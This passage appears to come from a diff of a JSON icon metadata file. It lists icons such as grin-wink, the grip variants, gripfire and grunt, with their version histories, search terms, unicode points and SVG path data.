16.9-59.8 42.1-.8 5 1.7 10 6.1 12.4 4.4 2.4 9.9 1.8 13.7-1.6l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c2.5 2.2 8 4.7 13.7 1.6 4.4-2.4 6.9-7.4 6.1-12.4-3.9-25.2-34.1-42.1-59.8-42.1zm176-52c-44.2 0-80 35.8-80 80s35.8 80 80 80 80-35.8 80-80-35.8-80-80-80zm0 128c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm0-72c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm64 400c0 35.6-29.1 64.5-64.9 64-35.1-.5-63.1-29.8-63.1-65v-42.8l17.7-8.8c15-7.5 31.5 1.7 34.9 16.5l2.8 12.1c2.1 9.2 15.2 9.2 17.3 0l2.8-12.1c3.4-14.8 19.8-24.1 34.9-16.5l17.7 8.8V408zm28.2 25.3c2.2-8.1 3.8-16.5 3.8-25.3v-43.5c14.2-12.4 24.4-27.5 27.3-44.5 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.3-17.7 15.3 2.9 17 13.1 32.1 27.3 44.5V408c0 8.8 1.6 17.2 3.8 25.3C91.8 399.9 48 333 48 256c0-110.3 89.7-200 200-200s200 89.7 200 200c0 77-43.8 143.9-107.8 177.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M152 180c-25.7 0-55.9 16.9-59.8 42.1-.8 5 1.7 10 6.1 12.4 4.4 2.4 9.9 1.8 13.7-1.6l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c2.5 2.2 8 4.7 13.7 1.6 4.4-2.4 6.9-7.4 6.1-12.4-3.9-25.2-34.1-42.1-59.8-42.1zm176-52c-44.2 0-80 35.8-80 80s35.8 80 80 80 80-35.8 80-80-35.8-80-80-80zm0 128c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm0-72c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm64 400c0 35.6-29.1 64.5-64.9 64-35.1-.5-63.1-29.8-63.1-65v-42.8l17.7-8.8c15-7.5 31.5 1.7 34.9 16.5l2.8 12.1c2.1 9.2 15.2 9.2 17.3 0l2.8-12.1c3.4-14.8 19.8-24.1 34.9-16.5l17.7 8.8V408zm28.2 25.3c2.2-8.1 3.8-16.5 3.8-25.3v-43.5c14.2-12.4 24.4-27.5 27.3-44.5 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.3-17.7 15.3 2.9 17 13.1 32.1 27.3 44.5V408c0 8.8 1.6 17.2 3.8 25.3C91.8 399.9 48 333 48 256c0-110.3 89.7-200 200-200s200 89.7 200 200c0 77-43.8 143.9-107.8 177.3z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "grin-wink": { + "changes": [ + "5.1.0", + "5.1.1", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "emoticon", + "face", + "flirt", + "laugh", + "smile" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f58c", + "label": "Grinning Winking Face", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635513, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M0 256c0 137 111 248 248 248s248-111 248-248S385 8 248 8 0 119 0 256zm200-48c0 17.7-14.3 32-32 32s-32-14.3-32-32 14.3-32 32-32 32 14.3 32 32zm168 25l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L288 233c-8.3 7.4-21.6.4-19.8-10.8 4-25.2 34.2-42.1 59.9-42.1S384 197 388 222.2c1.6 11-11.5 18.2-20 10.8zm-243.1 87.8C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.3-3.7 22.6 6 20.7 17.9-9.2 55-83.2 93.3-143.8 93.3s-134.5-38.3-143.8-93.3c-2-11.9 9.3-21.6 20.7-17.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M0 256c0 137 111 248 248 248s248-111 248-248S385 8 248 8 0 119 0 256zm200-48c0 17.7-14.3 32-32 32s-32-14.3-32-32 14.3-32 32-32 32 14.3 32 32zm168 25l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L288 233c-8.3 7.4-21.6.4-19.8-10.8 4-25.2 34.2-42.1 59.9-42.1S384 197 388 222.2c1.6 11-11.5 18.2-20 10.8zm-243.1 87.8C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.3-3.7 22.6 6 20.7 17.9-9.2 55-83.2 93.3-143.8 93.3s-134.5-38.3-143.8-93.3c-2-11.9 9.3-21.6 20.7-17.9z" + }, + "regular": { + "last_modified": 1628088634838, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M328 180c-25.69 0-55.88 16.92-59.86 42.12-1.75 11.22 11.5 18.24 19.83 10.84l9.55-8.48c14.81-13.19 46.16-13.19 60.97 0l9.55 8.48c8.48 7.43 21.56.25 19.83-10.84C383.88 196.92 353.69 180 328 180zm-160 60c17.67 0 32-14.33 32-32s-14.33-32-32-32-32 14.33-32 32 14.33 32 32 32zm185.55 64.64c-25.93 8.3-64.4 13.06-105.55 13.06s-79.62-4.75-105.55-13.06c-9.94-3.13-19.4 5.37-17.71 15.34C132.67 367.13 196.06 400 248 400s115.33-32.87 123.26-80.02c1.68-9.89-7.67-18.48-17.71-15.34zM248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 448c-110.28 0-200-89.72-200-200S137.72 56 248 56s200 89.72 200 200-89.72 200-200 200z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M328 180c-25.69 0-55.88 16.92-59.86 42.12-1.75 11.22 11.5 18.24 19.83 10.84l9.55-8.48c14.81-13.19 46.16-13.19 60.97 0l9.55 8.48c8.48 7.43 21.56.25 19.83-10.84C383.88 196.92 353.69 180 328 180zm-160 60c17.67 0 32-14.33 32-32s-14.33-32-32-32-32 14.33-32 32 14.33 32 32 32zm185.55 64.64c-25.93 8.3-64.4 13.06-105.55 13.06s-79.62-4.75-105.55-13.06c-9.94-3.13-19.4 5.37-17.71 15.34C132.67 367.13 196.06 400 248 400s115.33-32.87 123.26-80.02c1.68-9.89-7.67-18.48-17.71-15.34zM248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 448c-110.28 0-200-89.72-200-200S137.72 56 248 56s200 89.72 200 200-89.72 200-200 200z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "grip-horizontal": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "affordance", + "drag", + "drop", + "grab", + "handle" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f58d", + "label": "Grip Horizontal", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635514, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M96 288H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm160 0h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm160 0h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zM96 96H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm160 0h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm160 0h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M96 288H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm160 0h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm160 0h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zM96 96H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm160 0h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm160 0h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32z" + } + }, + "free": [ + "solid" + ] + }, + "grip-lines": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "affordance", + "drag", + "drop", + "grab", + "handle" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7a4", + "label": "Grip Lines", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635514, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M496 288H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h480c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm0-128H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h480c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M496 288H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h480c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm0-128H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h480c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "grip-lines-vertical": { + "changes": [ + "5.6.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "affordance", + "drag", + "drop", + "grab", + "handle" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7a5", + "label": "Grip Lines Vertical", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635514, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M96 496V16c0-8.8-7.2-16-16-16H48c-8.8 0-16 7.2-16 16v480c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16zm128 0V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v480c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "256", + "512" + ], + "width": 256, + "height": 512, + "path": "M96 496V16c0-8.8-7.2-16-16-16H48c-8.8 0-16 7.2-16 16v480c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16zm128 0V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v480c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16z" + } + }, + "free": [ + "solid" + ] + }, + "grip-vertical": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "affordance", + "drag", + "drop", + "grab", + "handle" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f58e", + "label": "Grip Vertical", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635515, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M96 32H32C14.33 32 0 46.33 0 64v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32zm0 160H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm0 160H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zM288 32h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32zm0 160h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm0 160h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M96 32H32C14.33 32 0 46.33 0 64v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32zm0 160H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm0 160H32c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zM288 32h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32zm0 160h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32zm0 160h-64c-17.67 0-32 14.33-32 32v64c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-64c0-17.67-14.33-32-32-32z" + } + }, + "free": [ + "solid" + ] + }, + "gripfire": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3ac", + "label": "Gripfire, Inc.", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548363722330, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M112.5 301.4c0-73.8 105.1-122.5 105.1-203 0-47.1-34-88-39.1-90.4.4 3.3.6 6.7.6 10C179.1 110.1 32 171.9 32 286.6c0 49.8 32.2 79.2 66.5 108.3 65.1 46.7 78.1 71.4 78.1 86.6 0 10.1-4.8 17-4.8 22.3 13.1-16.7 17.4-31.9 17.5-46.4 0-29.6-21.7-56.3-44.2-86.5-16-22.3-32.6-42.6-32.6-69.5zm205.3-39c-12.1-66.8-78-124.4-94.7-130.9l4 7.2c2.4 5.1 3.4 10.9 3.4 17.1 0 44.7-54.2 111.2-56.6 116.7-2.2 5.1-3.2 10.5-3.2 15.8 0 20.1 15.2 42.1 17.9 42.1 2.4 0 56.6-55.4 58.1-87.7 6.4 11.7 9.1 22.6 9.1 33.4 0 41.2-41.8 96.9-41.8 96.9 0 11.6 31.9 53.2 35.5 53.2 1 0 2.2-1.4 3.2-2.4 37.9-39.3 67.3-85 67.3-136.8 0-8-.7-16.2-2.2-24.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M112.5 301.4c0-73.8 105.1-122.5 105.1-203 0-47.1-34-88-39.1-90.4.4 3.3.6 6.7.6 10C179.1 110.1 32 171.9 32 286.6c0 49.8 32.2 79.2 66.5 108.3 65.1 46.7 78.1 71.4 78.1 86.6 0 10.1-4.8 17-4.8 22.3 13.1-16.7 17.4-31.9 17.5-46.4 0-29.6-21.7-56.3-44.2-86.5-16-22.3-32.6-42.6-32.6-69.5zm205.3-39c-12.1-66.8-78-124.4-94.7-130.9l4 7.2c2.4 5.1 3.4 10.9 3.4 17.1 0 44.7-54.2 111.2-56.6 116.7-2.2 5.1-3.2 10.5-3.2 15.8 0 20.1 15.2 42.1 17.9 42.1 2.4 0 56.6-55.4 58.1-87.7 6.4 11.7 9.1 22.6 9.1 33.4 0 41.2-41.8 96.9-41.8 96.9 0 11.6 31.9 53.2 35.5 53.2 1 0 2.2-1.4 3.2-2.4 37.9-39.3 67.3-85 67.3-136.8 0-8-.7-16.2-2.2-24.6z" + } + }, + "free": [ + "brands" + ] + }, + "grunt": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3ad", + "label": "Grunt", + "voted": false, + "svg": { + "brands": { + "last_modified": 1548363722330, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M61.3 189.3c-1.1 10 5.2 19.1 5.2 19.1.7-7.5 2.2-12.8 4-16.6.4 10.3 3.2 23.5 12.8 34.1 6.9 7.6 35.6 23.3 54.9 6.1 1 2.4 2.1 5.3 3 8.5 2.9 10.3-2.7 25.3-2.7 25.3s15.1-17.1 13.9-32.5c10.8-.5 21.4-8.4 21.1-19.5 0 0-18.9 10.4-35.5-8.8-9.7-11.2-40.9-42-83.1-31.8 4.3 1 8.9 2.4 13.5 4.1h-.1c-4.2 2-6.5 7.1-7 12zm28.3-1.8c19.5 11 37.4 25.7 44.9 37-5.7 3.3-21.7 10.4-38-1.7-10.3-7.6-9.8-26.2-6.9-35.3zm142.1 45.8c-1.2 15.5 13.9 32.5 13.9 32.5s-5.6-15-2.7-25.3c.9-3.2 2-6 3-8.5 19.3 17.3 48 1.5 54.8-6.1 9.6-10.6 12.3-23.8 12.8-34.1 1.8 3.8 3.4 9.1 4 16.6 0 0 6.4-9.1 5.2-19.1-.6-5-2.9-10-7-11.8h-.1c4.6-1.8 9.2-3.2 13.5-4.1-42.3-10.2-73.4 20.6-83.1 31.8-16.7 19.2-35.5 8.8-35.5 8.8-.2 10.9 10.4 18.9 21.2 19.3zm62.7-45.8c3 9.1 3.4 27.7-7 35.4-16.3 12.1-32.2 5-37.9 1.6 7.5-11.4 25.4-26 44.9-37zM160 418.5h-29.4c-5.5 0-8.2 1.6-9.5 2.9-1.9 2-2.2 4.7-.9 8.1 3.5 9.1 11.4 16.5 13.7 18.6 3.1 2.7 7.5 4.3 11.8 4.3 4.4 0 8.3-1.7 11-4.6 7.5-8.2 11.9-17.1 13-19.8.6-1.5 1.3-4.5-.9-6.8-1.8-1.8-4.7-2.7-8.8-2.7zm189.2-101.2c-2.4 17.9-13 33.8-24.6 43.7-3.1-22.7-3.7-55.5-3.7-62.4 0-14.7 9.5-24.5 12.2-26.1 2.5-1.5 5.4-3 8.3-4.6 18-9.6 40.4-21.6 40.4-43.7 0-16.2-9.3-23.2-15.4-27.8-.8-.6-1.5-1.1-2.2-1.7-2.1-1.7-3.7-3-4.3-4.4-4.4-9.8-3.6-34.2-1.7-37.6.6-.6 16.7-20.9 11.8-39.2-2-7.4-6.9-13.3-14.1-17-5.3-2.7-11.9-4.2-19.5-4.5-.1-2-.5-3.9-.9-5.9-.6-2.6-1.1-5.3-.9-8.1.4-4.7.8-9 2.2-11.3 8.4-13.3 28.8-17.6 29-17.6l12.3-2.4-8.1-9.5c-.1-.2-17.3-17.5-46.3-17.5-7.9 0-16 1.3-24.1 3.9-24.2 7.8-42.9 30.5-49.4 39.3-3.1-1-6.3-1.9-9.6-2.7-4.2-15.8 9-38.5 9-38.5s-13.6-3-33.7 15.2c-2.6-6.5-8.1-20.5-1.8-37.2C184.6 10.1 177.2 26 175 40.4c-7.6-5.4-6.7-23.1-7.2-27.6-7.5.9-29.2 21.9-28.2 48.3-2 .5-3.9 1.1-5.9 1.7-6.5-8.8-25.1-31.5-49.4-39.3-7.9-2.2-16-3.5-23.9-3.5-29 0-46.1 17.3-46.3 17.5L6 46.9l12.3 2.4c.2 0 20.6 4.3 29 17.6 1.4 2.2 1.8 6.6 2.2 11.3.2 2.8-.4 5.5-.9 8.1-.4 1.9-.8 3.9-.9 5.9-7.7.3-14.2 1.8-19.5 4.5-7.2 3.7-12.1 9.6-14.1 17-5 18.2 11.2 38.5 11.8 39.2 1.9 3.4 2.7 27.8-1.7 37.6-.6 1.4-2.2 2.7-4.3 4.4-.7.5-1.4 1.1-2.2 1.7-6.1 4.6-15.4 11.7-15.4 27.8 0 22.1 22.4 34.1 40.4 43.7 3 1.6 5.8 3.1 8.3 4.6 2.7 1.6 12.2 11.4 12.2 26.1 0 6.9-.6 39.7-3.7 62.4-11.6-9.9-22.2-25.9-24.6-43.8 0 0-29.2 22.6-20.6 70.8 5.2 29.5 23.2 46.1 47 54.7 8.8 19.1 29.4 45.7 67.3 49.6C143 504.3 163 512 192.2 512h.2c29.1 0 49.1-7.7 63.6-19.5 37.9-3.9 58.5-30.5 67.3-49.6 23.8-8.7 41.7-25.2 47-54.7 8.2-48.4-21.1-70.9-21.1-70.9zM305.7 37.7c5.6-1.8 11.6-2.7 17.7-2.7 11 0 19.9 3 24.7 5-3.1 1.4-6.4 3.2-9.7 5.3-2.4-.4-5.6-.8-9.2-.8-10.5 0-20.5 3.1-28.7 8.9-12.3 8.7-18 16.9-20.7 22.4-2.2-1.3-4.5-2.5-7.1-3.7-1.6-.8-3.1-1.5-4.7-2.2 6.1-9.1 19.9-26.5 37.7-32.2zm21 18.2c-.8 1-1.6 2.1-2.3 3.2-3.3 5.2-3.9 11.6-4.4 17.8-.5 6.4-1.1 12.5-4.4 17-4.2.8-8.1 1.7-11.5 2.7-2.3-3.1-5.6-7-10.5-11.2 1.4-4.8 5.5-16.1 13.5-22.5 5.6-4.3 12.2-6.7 19.6-7zM45.6 45.3c-3.3-2.2-6.6-4-9.7-5.3 4.8-2 13.7-5 24.7-5 6.1 0 12 .9 17.7 2.7 17.8 5.8 31.6 23.2 37.7 32.1-1.6.7-3.2 1.4-4.8 2.2-2.5 1.2-4.9 2.5-7.1 3.7-2.6-5.4-8.3-13.7-20.7-22.4-8.3-5.8-18.2-8.9-28.8-8.9-3.4.1-6.6.5-9 .9zm44.7 40.1c-4.9 4.2-8.3 8-10.5 11.2-3.4-.9-7.3-1.9-11.5-2.7C65 89.5 64.5 83.4 64 77c-.5-6.2-1.1-12.6-4.4-17.8-.7-1.1-1.5-2.2-2.3-3.2 7.4.3 14 2.6 19.5 7 8 6.3 12.1 17.6 13.5 22.4zM58.1 259.9c-2.7-1.6-5.6-3.1-8.4-4.6-14.9-8-30.2-16.3-30.2-30.5 0-11.1 4.3-14.6 8.9-18.2l.5-.4c.7-.6 1.4-1.2 2.2-1.8-.9 7.2-1.9 13.3-2.7 14.9 0 0 12.1-15 15.7-44.3 1.4-11.5-1.1-34.3-5.1-43 .2 4.9 0 9.8-.3 14.4-.4-.8-.8-1.6-1.3-2.2-3.2-4-11.8-17.5-9.4-26.6.9-3.5 3.1-6 6.7-7.8 3.8-1.9 8.8-2.9 15.1-2.9 12.3 0 25.9 3.7 32.9 6 25.1 8 55.4 30.9 64.1 37.7.2.2.4.3.4.3l5.6 3.9-3.5-5.8c-.2-.3-19.1-31.4-53.2-46.5 2-2.9 7.4-8.1 21.6-15.1 21.4-10.5 46.5-15.8 74.3-15.8 27.9 0 52.9 5.3 74.3 15.8 14.2 6.9 19.6 12.2 21.6 15.1-34 15.1-52.9 46.2-53.1 46.5l-3.5 5.8 5.6-3.9s.2-.1.4-.3c8.7-6.8 39-29.8 64.1-37.7 7-2.2 20.6-6 32.9-6 6.3 0 11.3 1 15.1 2.9 3.5 1.8 5.7 4.4 6.7 7.8 2.5 9.1-6.1 22.6-9.4 26.6-.5.6-.9 1.3-1.3 2.2-.3-4.6-.5-9.5-.3-14.4-4 8.8-6.5 31.5-5.1 43 3.6 29.3 15.7 44.3 15.7 44.3-.8-1.6-1.8-7.7-2.7-14.9.7.6 1.5 1.2 2.2 1.8l.5.4c4.6 3.7 8.9 7.1 8.9 18.2 0 14.2-15.4 22.5-30.2 30.5-2.9 1.5-5.7 3.1-8.4 4.6-8.7 5-18 16.7-19.1 34.2-.9 14.6.9 49.9 3.4 75.9-12.4 4.8-26.7 6.4-39.7 6.8-2-4.1-3.9-8.5-5.5-13.1-.7-2-19.6-51.1-26.4-62.2 5.5 39 17.5 73.7 23.5 89.6-3.5-.5-7.3-.7-11.7-.7h-117c-4.4 0-8.3.3-11.7.7 6-15.9 18.1-50.6 23.5-89.6-6.8 11.2-25.7 60.3-26.4 62.2-1.6 4.6-3.5 9-5.5 13.1-13-.4-27.2-2-39.7-6.8 2.5-26 4.3-61.2 3.4-75.9-.9-17.4-10.3-29.2-19-34.2zM34.8 404.6c-12.1-20-8.7-54.1-3.7-59.1 10.9 34.4 47.2 44.3 74.4 45.4-2.7 4.2-5.2 7.6-7 10l-1.4 1.4c-7.2 7.8-8.6 18.5-4.1 31.8-22.7-.1-46.3-9.8-58.2-29.5zm45.7 43.5c6 1.1 12.2 1.9 18.6 2.4 3.5 8 7.4 15.9 12.3 23.1-14.4-5.9-24.4-16-30.9-25.5zM192 498.2c-60.6-.1-78.3-45.8-84.9-64.7-3.7-10.5-3.4-18.2.9-23.1 2.9-3.3 9.5-7.2 24.6-7.2h118.8c15.1 0 21.8 3.9 24.6 7.2 4.2 4.8 4.5 12.6.9 23.1-6.6 18.8-24.3 64.6-84.9 64.7zm80.6-24.6c4.9-7.2 8.8-15.1 12.3-23.1 6.4-.5 12.6-1.3 18.6-2.4-6.5 9.5-16.5 19.6-30.9 25.5zm76.6-69c-12 19.7-35.6 29.3-58.1 29.7 4.5-13.3 3.1-24.1-4.1-31.8-.4-.5-.9-1-1.4-1.5-1.8-2.4-4.3-5.8-7-10 27.2-1.2 63.5-11 74.4-45.4 5 5 8.4 39.1-3.8 59zM191.9 187.7h.2c12.7-.1 27.2-17.8 27.2-17.8-9.9 6-18.8 8.1-27.3 8.3-8.5-.2-17.4-2.3-27.3-8.3 0 0 14.5 17.6 27.2 17.8zm61.7 230.7h-29.4c-4.2 0-7.2.9-8.9 2.7-2.2 2.3-1.5 5.2-.9 6.7 1 2.6 5.5 11.3 13 19.3 2.7 2.9 6.6 4.5 11 4.5s8.7-1.6 11.8-4.2c2.3-2 10.2-9.2 13.7-18.1 1.3-3.3 1-6-.9-7.9-1.3-1.3-4-2.9-9.4-3z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M61.3 189.3c-1.1 10 5.2 19.1 5.2 19.1.7-7.5 2.2-12.8 4-16.6.4 10.3 3.2 23.5 12.8 34.1 6.9 7.6 35.6 23.3 54.9 6.1 1 2.4 2.1 5.3 3 8.5 2.9 10.3-2.7 25.3-2.7 25.3s15.1-17.1 13.9-32.5c10.8-.5 21.4-8.4 21.1-19.5 0 0-18.9 10.4-35.5-8.8-9.7-11.2-40.9-42-83.1-31.8 4.3 1 8.9 2.4 13.5 4.1h-.1c-4.2 2-6.5 7.1-7 12zm28.3-1.8c19.5 11 37.4 25.7 44.9 37-5.7 3.3-21.7 10.4-38-1.7-10.3-7.6-9.8-26.2-6.9-35.3zm142.1 45.8c-1.2 15.5 13.9 32.5 13.9 32.5s-5.6-15-2.7-25.3c.9-3.2 2-6 3-8.5 19.3 17.3 48 1.5 54.8-6.1 9.6-10.6 12.3-23.8 12.8-34.1 1.8 3.8 3.4 9.1 4 16.6 0 0 6.4-9.1 5.2-19.1-.6-5-2.9-10-7-11.8h-.1c4.6-1.8 9.2-3.2 13.5-4.1-42.3-10.2-73.4 20.6-83.1 31.8-16.7 19.2-35.5 8.8-35.5 8.8-.2 10.9 10.4 18.9 21.2 19.3zm62.7-45.8c3 9.1 3.4 27.7-7 35.4-16.3 12.1-32.2 5-37.9 1.6 7.5-11.4 25.4-26 44.9-37zM160 418.5h-29.4c-5.5 0-8.2 1.6-9.5 2.9-1.9 2-2.2 4.7-.9 8.1 3.5 9.1 11.4 16.5 13.7 18.6 3.1 2.7 7.5 4.3 11.8 4.3 4.4 0 8.3-1.7 11-4.6 7.5-8.2 11.9-17.1 13-19.8.6-1.5 1.3-4.5-.9-6.8-1.8-1.8-4.7-2.7-8.8-2.7zm189.2-101.2c-2.4 17.9-13 33.8-24.6 43.7-3.1-22.7-3.7-55.5-3.7-62.4 0-14.7 9.5-24.5 12.2-26.1 2.5-1.5 5.4-3 8.3-4.6 18-9.6 40.4-21.6 40.4-43.7 0-16.2-9.3-23.2-15.4-27.8-.8-.6-1.5-1.1-2.2-1.7-2.1-1.7-3.7-3-4.3-4.4-4.4-9.8-3.6-34.2-1.7-37.6.6-.6 16.7-20.9 11.8-39.2-2-7.4-6.9-13.3-14.1-17-5.3-2.7-11.9-4.2-19.5-4.5-.1-2-.5-3.9-.9-5.9-.6-2.6-1.1-5.3-.9-8.1.4-4.7.8-9 2.2-11.3 8.4-13.3 28.8-17.6 29-17.6l12.3-2.4-8.1-9.5c-.1-.2-17.3-17.5-46.3-17.5-7.9 0-16 1.3-24.1 3.9-24.2 7.8-42.9 30.5-49.4 39.3-3.1-1-6.3-1.9-9.6-2.7-4.2-15.8 9-38.5 9-38.5s-13.6-3-33.7 15.2c-2.6-6.5-8.1-20.5-1.8-37.2C184.6 10.1 177.2 26 175 